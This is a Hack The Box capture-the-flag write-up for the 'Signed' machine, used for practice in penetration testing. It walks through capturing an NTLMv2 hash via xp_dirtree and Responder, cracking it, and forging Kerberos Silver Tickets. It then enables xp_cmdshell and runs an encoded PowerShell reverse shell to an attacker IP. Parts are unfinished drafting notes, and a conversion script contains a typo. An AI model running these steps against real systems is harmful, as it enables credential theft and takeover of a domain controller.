Hack The Box Write-Up Signed - 10.10.11.90
About Signed
In this post, I’m writing a write-up for the machine Signed from Hack The Box. Hack The Box is an online platform to train your ethical hacking skills and penetration testing skills.
Signed is a ‘Medium’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 15 and submitting the root flag you points will be raised by 30.
As is common in real life Windows pentests, we will start this box with credentials for the following account:
| Username | Password |
| scott | Sm230#C5NatH |
Foothold
An Nmap scan revealed that port 1433/tcp (Microsoft SQL Server) was the only open port. Using the provided credentials for the user scott, we authenticated to the SQL Server with impacket-mssqlclient. Further enumeration with Metasploit revealed that the SQL service was running under the account SIGNED\mssqlsvc. We then used Responder and the Metasploit mssql_ntlm_stealer module to capture the NTLMv2 hash of this service account. Using Hashcat with the rockyou.txt wordlist, we successfully cracked the hash and recovered the password purPLE9795!@.
User
With the recovered credentials, we authenticated to Microsoft SQL Server as SIGNED\mssqlsvc. Further enumeration revealed information about SQL impersonation permissions and the SIGNED\IT account. Using the service account’s NTLM hash and the domain SID, we created a forged Kerberos service ticket with impacket-ticketer to gain elevated SQL privileges. After authenticating with the forged ticket, we enabled xp_cmdshell and executed a PowerShell reverse shell. This provided us with a shell as SIGNED\mssqlsvc, allowing us to retrieve the user.txt flag.
Root
To gain higher privileges, we used the previously recovered service account NTLM hash to perform another Silver Ticket attack. This time, we forged a Kerberos service ticket for the Administrator account, including Domain Admins group membership. Using the forged ticket, we authenticated to Microsoft SQL Server with elevated database privileges. We then executed an SQL OPENROWSET query to read the root.txt file from the Administrator’s desktop, successfully obtaining the root flag.
Machine Info
| Machine Name: | Signed |
| Difficulty: | Medium |
| Points: | 30 |
| Release Date: | 11 Okt 2025 |
| IP: | 10.10.11.90 |
| Creator: | kavigihan |
Reconnaissance
Portscan with Nmap
As always, we start this machine with a portscan with Nmap.
1
2
┌──(kali㉿kali)-[~/Documents/htb/machines/signed]
└─$ sudo nmap -sC -sV -oA ./nmap/signed.htb signed.htb
The results.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-12 02:51 BST
Nmap scan report for signed.htb (10.129.205.5)
Host is up (0.018s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-info:
| 10.129.205.5:1433:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
|_ssl-date: 2025-10-11T19:07:56+00:00; -6h44m13s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-10-11T19:06:38
|_Not valid after: 2055-10-11T19:06:38
| ms-sql-ntlm-info:
| 10.129.205.5:1433:
| Target_Name: SIGNED
| NetBIOS_Domain_Name: SIGNED
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: SIGNED.HTB
| DNS_Computer_Name: DC01.SIGNED.HTB
| DNS_Tree_Name: SIGNED.HTB
|_ Product_Version: 10.0.17763
Host script results:
|_clock-skew: mean: -6h44m13s, deviation: 0s, median: -6h44m13s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.57 seconds
I have to admit, this is a surprise! We only have one open port, and while the hostname suggests that this machine is likely a Domain Controller, the open port indicates that it is functioning primarily as a database server.
The clock skew is minus 6 hours. So, if we have to do something with Kerberso we have to bring the time of our machine in sync with this box.
Enumeration
Enumerate SQL with mssqlclient
We have the credentials for the user account scott, and we have only the open port 1433/tcp. Let’s authenticate against the Microsoft SQL service with impacket-mssqlclient with the user account scott.
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/Documents/htb/machines/signed]
└─$ impacket-mssqlclient 'signed.htb/scott:Sm230#C5NatH@signed.htb'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (scott guest@master)>
As we enumerate the databases, we only have the default databases in Microsoft SQL.
1
2
3
4
5
6
7
8
9
10
11
12
SQL (scott guest@master)> enum_db
name is_trustworthy_on
------ -----------------
master 0
tempdb 0
model 0
msdb 1
SQL (scott guest@master)>
| Database | Purpose |
| master | The primary system database that stores critical information about the SQL Server instance. |
| model | A template database used to create new databases. Any new database created inherits settings and objects (like tables and stored procedures) from the model database. |
| msdb | Used primarily for scheduling and managing jobs, alerts, and backups. It’s also involved in SQL Server Agent operations, including running jobs, monitoring jobs, and sending alerts according to configured schedules. |
| tempdb | A temporary workspace for holding temporary data such as tables, stored procedures, and intermediate results. |
Enumerate SQL with Metasploit
Let’s enumerate Microsoft SQL a little bit further with Metasploit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~/Documents/htb/machines/signed]
└─$ msf > use auxiliary/admin/mssql/mssql_enum
msf auxiliary(admin/mssql/mssql_enum) > set username scott
username => scott
msf auxiliary(admin/mssql/mssql_enum) > set password 'Sm230#C5NatH'
password => Sm230#C5NatH
msf auxiliary(admin/mssql/mssql_enum) > exploit
[*] Running module against 10.129.48.244
[*] 10.129.48.244:1433 - Running MS SQL Server Enumeration...
[*] 10.129.48.244:1433 - Version:
[*] Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64)
[*] Oct 8 2022 05:58:25
...
[*] 10.129.48.244:1433 - sa
[*] 10.129.48.244:1433 - scott
...
[*] 10.129.48.244:1433 - Default Server Instance SQL Server Service is running under the privilege of:
[*] 10.129.48.244:1433 - SIGNED\mssqlsvc
[*] Auxiliary module execution completed
After running that module, we have learned that this Microsoft SQL Server has only two System Logins, sa and scott, and that Microsoft SQL is running under the service account SIGNED\mssqlsvc. If we can execute the xp_dirtree stored procedure, we can intercept the NTLMv2 hash for the user account SIGNED\mssqlsvc. First, we enumerate the user accounts on this machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
msf > use auxiliary/admin/mssql/mssql_enum_domain_accounts
msf auxiliary(admin/mssql/mssql_enum_domain_accounts) > set rhosts signed.htb
rhosts => signed.htb
msf auxiliary(admin/mssql/mssql_enum_domain_accounts) > set username scott
username => scott
msf auxiliary(admin/mssql/mssql_enum_domain_accounts) > set password 'Sm230#C5NatH'
msf auxiliary(admin/mssql/mssql_enum_domain_accounts) > exploit
[*] Running module against 10.129.48.244
[*] 10.129.48.244:1433 - Attempting to connect to the database server at 10.129.48.244:1433 as scott...
[+] 10.129.48.244:1433 - Connected.
[*] 10.129.48.244:1433 - SQL Server Name: DC01
[*] 10.129.48.244:1433 - Domain Name: SIGNED
[+] 10.129.48.244:1433 - Found the domain sid: 0105000000000005150000005b7bb0f398aa2245ad4a1ca4
[*] 10.129.48.244:1433 - Brute forcing 10000 RIDs through the SQL Server, be patient...
[*] 10.129.48.244:1433 - - SIGNED\Administrator
[*] 10.129.48.244:1433 - - SIGNED\Guest
[*] 10.129.48.244:1433 - - SIGNED\krbtgt
[*] 10.129.48.244:1433 - - SIGNED\mssqlsvc
[*] 10.129.48.244:1433 - - SIGNED\HR
[*] 10.129.48.244:1433 - - SIGNED\IT
[*] 10.129.48.244:1433 - - SIGNED\Finance
[*] 10.129.48.244:1433 - - SIGNED\Developers
[*] 10.129.48.244:1433 - - SIGNED\Support
[*] 10.129.48.244:1433 - - SIGNED\oliver.mills
[*] 10.129.48.244:1433 - - SIGNED\emma.clark
[*] 10.129.48.244:1433 - - SIGNED\liam.wright
[*] 10.129.48.244:1433 - - SIGNED\noah.adams
[*] 10.129.48.244:1433 - - SIGNED\ava.morris
[*] 10.129.48.244:1433 - - SIGNED\sophia.turner
[*] 10.129.48.244:1433 - - SIGNED\james.morgan
[*] 10.129.48.244:1433 - - SIGNED\mia.cooper
[*] 10.129.48.244:1433 - - SIGNED\elijah.brooks
[*] 10.129.48.244:1433 - - SIGNED\isabella.evans
[*] 10.129.48.244:1433 - - SIGNED\lucas.murphy
[*] 10.129.48.244:1433 - - SIGNED\william.johnson
[*] 10.129.48.244:1433 - - SIGNED\charlotte.price
[*] 10.129.48.244:1433 - - SIGNED\henry.bennett
[*] 10.129.48.244:1433 - - SIGNED\amelia.kelly
[*] 10.129.48.244:1433 - - SIGNED\jackson.gray
[*] 10.129.48.244:1433 - - SIGNED\harper.diaz
SIGNED\SQLServer2005SQLBrowserUser$DC01
...
According
ADD SPN EXPLAINATION
run responder
1
2
┌──(kali㉿kali)-[~/Documents/htb/machines/signed]
└─$ sudo responder -I tun0
intercept ntlmv2
1
2
3
4
5
6
7
8
9
msf auxiliary(admin/mssql/mssql_ntlm_stealer) > set password 'Sm230#C5NatH'
password => Sm230#C5NatH
msf auxiliary(admin/mssql/mssql_ntlm_stealer) > set rhosts signed.htb
rhosts => signed.htb
msf auxiliary(admin/mssql/mssql_ntlm_stealer) > set username scott
username => scott
msf auxiliary(admin/mssql/mssql_ntlm_stealer) > set smbproxy 10.10.16.36
smbproxy => 10.10.16.36
msf auxiliary(admin/mssql/mssql_ntlm_stealer) > exploit
result
1
2
3
[SMB] NTLMv2-SSP Client : 10.129.48.244
[SMB] NTLMv2-SSP Username : SIGNED\mssqlsvc
[SMB] NTLMv2-SSP Hash : mssqlsvc::SIGNED:1d26dec48f85abdc:33BB7F3AC5419AA1A047B5145CB6C135:0101000000000000805C732BB53CDC01BDBDEBCF3338E9000000000002000800430044004100480001001E00570049004E002D005200360030003400410030003200360059004A00550004003400570049004E002D005200360030003400410030003200360059004A0055002E0043004400410048002E004C004F00430041004C000300140043004400410048002E004C004F00430041004C000500140043004400410048002E004C004F00430041004C0007000800805C732BB53CDC0106000400020000000800300030000000000000000000000000300000A14D362E915C567D09013940DC0650D4A24C23177D91406306E73FA931C35BBC0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00330036000000000000000000
Cracked hash
1
2
┌──(kali㉿kali)-[~/Documents/htb/machines/signed]
└─$ hashcat -m 1000 -a 0 hash /usr/share/wordlists/rockyou.txt
result
1
2
3
4
5
MSSQLSVC::SIGNED:1d26dec48f85abdc:33bb7f3ac5419aa1a047b5145cb6c135:0101000000000000805c732bb53cdc01bdbdebcf3338e9000000000002000800430044004100480001001e0057
0049004e002d005200360030003400410030003200360059004a00550004003400570049004e002d005200360030003400410030003200360059004a0055002e0043004400410048002e004c004f0
0430041004c000300140043004400410048002e004c004f00430041004c000500140043004400410048002e004c004f00430041004c0007000800805c732bb53cdc01060004000200000008003000
30000000000000000000000000300000a14d362e915c567d09013940dc0650d4a24c23177d91406306e73fa931c35bbc0a00100000000000000000000000000000000000090020006300690066007
3002f00310030002e00310030002e00310036002e00330036000000000000000000:purPLE9795!@
login
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/Documents/htb/machines/signed]
└─$ impacket-mssqlclient 'signed.htb/mssqlsvc:purPLE9795!@@signed.htb' -windows-auth
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc guest@master)>
impersonte
1
2
3
4
SQL (SIGNED\mssqlsvc guest@master)> enum_impersonate
execute as database permission_name state_desc grantee grantor
---------- -------- --------------- ---------- -------- ----------------------------
b'USER' msdb IMPERSONATE GRANT dc_admin MS_DataCollectorInternalUser
enum logins shows that SIGNED\IT is able to authenticate
1
2
3
4
SQL (SIGNED\mssqlsvc guest@master)> select suser_sid('IT')
-----------------------------------------------------------
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000'
1
2
3
4
5
6
$hex = "0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000"
$bytes = for ($i = 0; $i -lt $hex.Lenght; $i += 2) {
[Convert]::ToByte($hex.SubString($i, 2), 16)
}
$BinarySID = [byte[]]$bytes
1
2
(.venv) PS C:\Users\T13nn3s\Documents\htb\machines\signed> .\sid-convert.ps1
S-1-5-21-4088429403-1159899800-2753317549-1105
create ntlm
1
2
3
┌──(kali㉿kali)-[~/Documents/htb/machines/signed]
└─$ iconv -f ASCII -t UTF-16LE <(printf 'purPLE9795!@') | openssl dgst -md4
MD4(stdin)= ef699384c3285c54128a3ee1ddb1a0cc
ticketer, see: https://medium.com/@s12deff/silver-ticket-attack-in-active-directory-environment-1e80a3aac27
┌──(kali㉿kali)-[~/Documents/htb/machines/signed] └─$ impacket-ticketer -spn MSSQLsvc/dc01.signed.htb -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -nthash ef699384c3285c54128a3ee1ddb1a0cc -dc-ip dc01.signed.htb -domain signed.htb -groups 1105 IT Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[] Creating basic skeleton ticket and PAC Infos [] Customizing ticket for signed.htb/IT [] PAC_LOGON_INFO [] PAC_CLIENT_INFO_TYPE [] EncTicketPart [] EncTGSRepPart [] Signing/Encrypting final ticket [] PAC_SERVER_CHECKSUM [] PAC_PRIVSVR_CHECKSUM [] EncTicketPart [] EncTGSRepPart [] Saving ticket in IT.ccache
┌──(kali㉿kali)-[~/Documents/htb/machines/signed] └─$ export KRB5CCNAME=IT.ccache
┌──(kali㉿kali)-[~/Documents/htb/machines/signed] └─$ impacket-mssqlclient dc01.signed.htb -k Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[] Encryption required, switching to TLS [] ENVCHANGE(DATABASE): Old Value: master, New Value: master [] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [] INFO(DC01): Line 1: Changed database context to ‘master’. [] INFO(DC01): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (160 3232) [!] Press help for extra shell commands SQL (SIGNED\Administrator dbo@master)>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
enable_xpcmdshell
```console
SQL (SIGNED\Administrator dbo@master)> enable_xp_cmdshell
INFO(DC01): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(DC01): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (SIGNED\Administrator dbo@master)> RECONFIGURE
SQL (SIGNED\Administrator dbo@master)> xp_cmdshell 'whoami'
ERROR(DC01): Line 1: Incorrect syntax near 'whoami'.
SQL (SIGNED\Administrator dbo@master)> xp_cmdshell "whoami"
output
---------------
signed\mssqlsvc
NULL
SQL (SIGNED\Administrator dbo@master)>
1
SQL (SIGNED\Administrator dbo@master)> xp_cmdshell "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMwA2ACIALAAxADMAMwA3ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="
user
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~/…/htb/machines/signed/penelope]
└─$ python3 penelope.py -p 1337
[+] Listening for reverse shells on 0.0.0.0:1337 → 127.0.0.1 • 192.168.64.150 • 10.10.16.36
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from DC01~10.129.29.108-Microsoft_Windows_Server_2019_Standard-x64-based_PC 😍 Assigned SessionID <1>
[+] Added readline support...
[+] Interacting with session [1], Shell Type: Readline, Menu key: Ctrl-D
[+] Logging to /home/kali/.penelope/sessions/DC01~10.129.29.108-Microsoft_Windows_Server_2019_Standard-x64-based_PC/2025_10_14-21_12_10-060.log 📜
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
PS C:\Windows\system32> whoami
signed\mssqlsvc
PS C:\Windows\system32> type C:\users\mssqlsvc\desktop\user.txt
dd8027d227113b4a010912c1e973ee0d
PS C:\Windows\system32>
1
2
3
4
5
SQL (SIGNED\Administrator dbo@msdb)> select suser_sid('domain admins')
[%] select suser_sid('domain admins')
-----------------------------------------------------------
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca400020000'
SELECT * FROM OPENROWSET(BULK N’C:/Users/Administrator/Desktop/root.txt’, SINGLE_CLOB) AS Contents
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(kali㉿kali)-[~/Documents/htb/machines/signed]
└─$ impacket-ticketer -spn MSSQLsvc/dc01.signed.htb -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -nthash ef699384c3285c54128a3ee1ddb1a0cc -dc-ip dc01.signed.htb -domain signed.htb -groups 1105,512 Administrator -user-id 1103
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in Administrator.ccache
┌──(kali㉿kali)-[~/Documents/htb/machines/signed]
└─$ export KRB5CCNAME=Administrator.ccache
┌──(kali㉿kali)-[~/Documents/htb/machines/signed]
└─$ impacket-mssqlclient dc01.signed.htb -k
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc dbo@master)>
1
2
3
4
5
6
SQL (SIGNED\mssqlsvc dbo@master)> SELECT * FROM OPENROWSET(BULK N'C:/users/administrator/desktop/root.txt', SINGLE_CLOB) AS Contents
BulkColumn
---------------------------------------
b'8ae40e297652c2310041a7685f47e59a\r\n'
SQL (SIGNED\mssqlsvc dbo@master)>
pivot to another user to sql_svc user, user ticketer.py
Thanks for reading this write-up! Did you enjoy reading this write-up? Or learned something from it? Please consider spending a respect point: https://app.hackthebox.com/profile/224856.com/profile/224856. Thanks!
Happy Hacking :-)